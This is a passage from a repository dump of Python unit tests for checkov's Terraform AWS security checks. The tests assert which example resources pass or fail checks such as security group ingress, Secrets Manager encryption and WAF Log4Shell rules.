self.assertEqual(summary[\"failed\"], len(failing_resources))\n        # self.assertEqual(summary[\"skipped\"], 0)\n        # self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_SecretManagerSecretEncrypted.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.SecretManagerSecretEncrypted import check\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.plan_runner import Runner as PlanRunner\n\n\nclass TestSecretManagerSecretEncrypted(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_SecretManagerSecretEncrypted\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_secretsmanager_secret.enabled1\",\n            \"aws_secretsmanager_secret.enabled2\",\n        }\n        failing_resources = {\n            \"aws_secretsmanager_secret.default\",\n            \"aws_secretsmanager_secret.default_explicit\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n    def test_terraform_plan(self):\n        runner = PlanRunner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_path = current_dir + \"/example_SecretManagerSecretEncrypted/tfplan.json\"\n        report = runner.run(files=[test_files_path], runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        failing_resources = {\n            \"aws_secretsmanager_secret.not_specified\",\n        }\n\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 0)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_SecurityGroupRuleDescription.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.SecurityGroupRuleDescription import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestSecurityGroupRuleDescription(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_SecurityGroupRuleDescription\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_security_group.pass\",\n            \"aws_security_group.pass2\",\n            \"aws_security_group_rule.pass\",\n            \"aws_vpc_security_group_ingress_rule.pass\"\n        }\n\n        failing_resources = {\n            \"aws_security_group.fail\",\n            \"aws_security_group_rule.fail\",\n            \"aws_vpc_security_group_ingress_rule.fail\"\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_SecurityGroupUnrestrictedEgressAny.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.SecurityGroupUnrestrictedEgressAny import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestSecurityGroupUnrestrictedEgressAny(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_SecurityGroupUnrestrictedEgressAny\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_security_group.pass\",\n            \"aws_security_group_rule.pass\",\n            \"aws_vpc_security_group_egress_rule.pass\"\n        }\n\n        failing_resources = {\n            \"aws_security_group.fail2\",\n            \"aws_security_group.fail\",\n            \"aws_security_group_rule.fail\",\n            \"aws_vpc_security_group_egress_rule.fail\",\n            \"aws_security_group_rule.fail2\"\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_SecurityGroupUnrestrictedIngress22.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.SecurityGroupUnrestrictedIngress22 import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestSecurityGroupUnrestrictedIngress22(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_SecurityGroupUnrestrictedIngress22\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_security_group.pass\",\n            \"aws_security_group.pass2\",\n            \"aws_security_group.pass3\",\n            \"aws_security_group.pass4\",\n            \"aws_security_group.pass5\",\n            \"aws_security_group.pass6\",\n            \"aws_security_group.pass7\",\n            \"aws_security_group.pass-ipv6\",\n            \"aws_security_group_rule.pass\",\n            \"aws_security_group_rule.pass2\",\n            \"aws_security_group_rule.pass3\",\n            \"aws_security_group_rule.pass4\",\n            \"aws_vpc_security_group_ingress_rule.pass\",\n            \"aws_security_group.pass_self\",\n            \"aws_security_group.pass_self2\"\n        }\n\n        failing_resources = {\n            \"aws_security_group.fail\",\n            \"aws_security_group.fail2\",\n            \"aws_security_group.fail3\",\n            \"aws_security_group.fail4\",\n            \"aws_security_group.fail-ipv6\",\n            \"aws_security_group_rule.fail\",\n            \"aws_vpc_security_group_ingress_rule.fail\",\n            \"aws_vpc_security_group_ingress_rule.fail2\",\n            \"aws_security_group.not_self\"\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_SecurityGroupUnrestrictedIngress3389.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.SecurityGroupUnrestrictedIngress3389 import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestSecurityGroupUnrestrictedIngress3389(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_SecurityGroupUnrestrictedIngress3389\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_security_group.pass\",\n            \"aws_security_group_rule.pass\",\n            \"aws_vpc_security_group_ingress_rule.pass\"\n        }\n\n        failing_resources = {\n            \"aws_security_group.fail\",\n            \"aws_security_group_rule.fail\",\n            \"aws_vpc_security_group_ingress_rule.fail\"\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_SecurityGroupUnrestrictedIngress80.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.SecurityGroupUnrestrictedIngress80 import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestSecurityGroupUnrestrictedIngress80(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_SecurityGroupUnrestrictedIngress80\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_security_group.pass\",\n            \"aws_security_group.pass2\",\n            \"aws_security_group.pass3\",\n            \"aws_security_group.pass4\",\n            \"aws_security_group.pass5\",\n            \"aws_security_group.pass6\",\n            \"aws_security_group.pass7\",\n            \"aws_security_group.pass-ipv6\",\n\n            \"aws_security_group_rule.pass\",\n            \"aws_security_group_rule.pass2\",\n            \"aws_security_group_rule.pass3\",\n\n            \"aws_vpc_security_group_ingress_rule.pass\",\n            \"aws_vpc_security_group_ingress_rule.pass_prefix_list\",\n        }\n\n        failing_resources = {\n            \"aws_security_group.fail\",\n            \"aws_security_group.fail2\",\n            \"aws_security_group.fail3\",\n            \"aws_security_group.fail4\",\n            \"aws_security_group.fail5\",\n            \"aws_security_group_rule.fail\",\n\n            \"aws_vpc_security_group_ingress_rule.fail\",\n            \"aws_vpc_security_group_ingress_rule.fail2\"\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_SecurityGroupUnrestrictedIngressAny.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.SecurityGroupUnrestrictedIngressAny import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestSecurityGroupUnrestrictedIngressAny(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_SecurityGroupUnrestrictedIngressAny\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_security_group.pass\",\n            \"aws_security_group_rule.pass\",\n            \"aws_vpc_security_group_ingress_rule.pass\"\n        }\n\n        failing_resources = {\n            \"aws_security_group.fail\",\n            \"aws_security_group_rule.fail\",\n            \"aws_vpc_security_group_ingress_rule.fail\",\n            \"aws_security_group_rule.fail2\"\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_SesConfigurationSetDefinesTLS.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.SesConfigurationSetDefinesTLS import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestSesConfigurationSetDefinesTLS(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_SesConfigurationSetDefinesTLS\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_ses_configuration_set.pass\",\n        }\n\n        failing_resources = {\n            \"aws_ses_configuration_set.fail\",\n            \"aws_ses_configuration_set.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_StateMachineLoggingExecutionHistory.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.StateMachineLoggingExecutionHistory import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestStateMachineLoggingExecutionHistory(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_StateMachineLoggingExecutionHistory\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_sfn_state_machine.StateMachineLoggingExecutionHistoryEnabled\"\n        }\n        failing_resources = {\n            \"aws_sfn_state_machine.StateMachineLoggingExecutionHistoryDisabled\",\n            \"aws_sfn_state_machine.StateMachineLoggingExecutionHistoryDefault\"\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_StateMachineXray.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.StateMachineXray import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestStateMachineXray(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_StateMachineXray\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_sfn_state_machine.XrayEnabled\"\n        }\n        failing_resources = {\n            \"aws_sfn_state_machine.XrayDisabled\",\n            \"aws_sfn_state_machine.XrayDefault\"\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_SubnetPublicIP.py",
    "content": "import unittest\nimport hcl2\n\nfrom checkov.terraform.checks.resource.aws.SubnetPublicIP import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestSubnetPublicIP(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n                            resource \"aws_subnet\" \"test\" {\n                              vpc_id     = aws_vpc.main.id\n                              cidr_block = \"10.0.1.0/24\"\n\n                              map_public_ip_on_launch = true\n                            }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_subnet']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n                            resource \"aws_subnet\" \"test\" {\n                              vpc_id     = aws_vpc.main.id\n                              cidr_block = \"10.0.1.0/24\"\n                              \n                            }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_subnet']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success_implicit(self):\n        hcl_res = hcl2.loads(\"\"\"\n                            resource \"aws_subnet\" \"test\" {\n                              vpc_id     = aws_vpc.main.id\n                              cidr_block = \"10.0.1.0/24\"\n                            \n                              map_public_ip_on_launch = false\n                            }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_subnet']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_TimestreamDatabaseKMSKey.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.TimestreamDatabaseKMSKey import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestTimestreamDatabaseKMSKey(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_TimestreamDatabaseKMSKey\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_timestreamwrite_database.enabled\",\n        }\n        failing_resources = {\n            \"aws_timestreamwrite_database.default\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_TransferServerAllowsOnlySecureProtocols.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.TransferServerAllowsOnlySecureProtocols import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestTransferServerAllowsOnlySecureProtocols(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_TransferServerAllowsOnlySecureProtocols\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_transfer_server.stfp\",\n            \"aws_transfer_server.default\",\n        }\n        failing_resources = {\n            \"aws_transfer_server.ftp\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_TransferServerIsPublic.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.TransferServerIsPublic import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestBackupVaultEncrypted(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_TransferServerIsPublic\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_transfer_server.example_vpc\",\n        }\n        failing_resources = {\n            \"aws_transfer_server.example_public\",\n            \"aws_transfer_server.example\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_TransferServerLatestPolicy.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.TransferServerLatestPolicy import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestTransferServerLatestPolicy(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_TransferServerLatestPolicy\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_transfer_server.pass_new\",\n            \"aws_transfer_server.pass_fips\",\n        }\n        failing_resources = {\n            \"aws_transfer_server.fail_old\",\n            \"aws_transfer_server.fail_old_fips\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_UnpatchedAuroraPostgresDB.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.UnpatchedAuroraPostgresDB import check\nfrom checkov.terraform.runner import Runner\n\nclass TestUnpatchedAuroraPostgresDB(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_UnpatchedAuroraPostgresDB\"\n        report = runner.run(\n            root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])\n        )\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_db_instance.pass\",\n        }\n        failing_resources = {\n            \"aws_db_instance.fail1\",\n            \"aws_db_instance.fail2\"\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_VPCDefaultNetwork.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.terraform.checks.resource.aws.VPCDefaultNetwork import check\n\n\nclass TestDefaultVPC(unittest.TestCase):\n\n    def test_failure(self):\n        \"\"\"\n          When there is a resource with aws_default_vpc, it should fail whatever the config is.\n        \"\"\"\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"aws_default_vpc\" \"default\" {\n            tags = {\n                Name = \"Default VPC\"\n            }\n        }\n        \"\"\")\n\n        resource_conf = hcl_res['resource'][0]['aws_default_vpc']['default']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_config(self):\n        \"\"\"\n        There is no success/pass scenario for this resource as we want to avoid the creation of this resource.\n        \"\"\"\n        resource_conf = {\n            \"enable_dns_support\": \"true\"\n        }\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_VPCEndpointAcceptanceConfigured.py",
    "content": "import unittest\nimport hcl2\n\nfrom checkov.terraform.checks.resource.aws.VPCEndpointAcceptanceConfigured import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestVPCEndpointAcceptanceConfigured(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n                resource \"aws_vpc_endpoint_service\" \"example\" {\n                  acceptance_required        = false\n                  network_load_balancer_arns = [aws_lb.example.arn]\n                }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_vpc_endpoint_service']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n                resource \"aws_vpc_endpoint_service\" \"example\" {\n                  acceptance_required        = true\n                  network_load_balancer_arns = [aws_lb.example.arn]\n                }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_vpc_endpoint_service']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_WAFACLCVE202144228.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.WAFACLCVE202144228 import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestWafHasAnyRules(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_WAFACLCVE202144228\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_wafv2_web_acl.pass\",\n            \"aws_wafv2_web_acl.multi_rules\",\n            \"aws_wafv2_web_acl.pass_dynamic\"\n        }\n\n        failing_resources = {\n            \"aws_wafv2_web_acl.no_rule\",\n            \"aws_wafv2_web_acl.wrong_rule\",\n            \"aws_wafv2_web_acl.rule_count\",\n            \"aws_wafv2_web_acl.rule_group_count\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 3)\n        self.assertEqual(summary[\"failed\"], 4)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_WAFEnabled.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.WAFEnabled import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestWAFEnabled(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_WAFEnabled\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_cloudfront_distribution.pass\",\n        }\n\n        failing_resources = {\n            \"aws_cloudfront_distribution.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    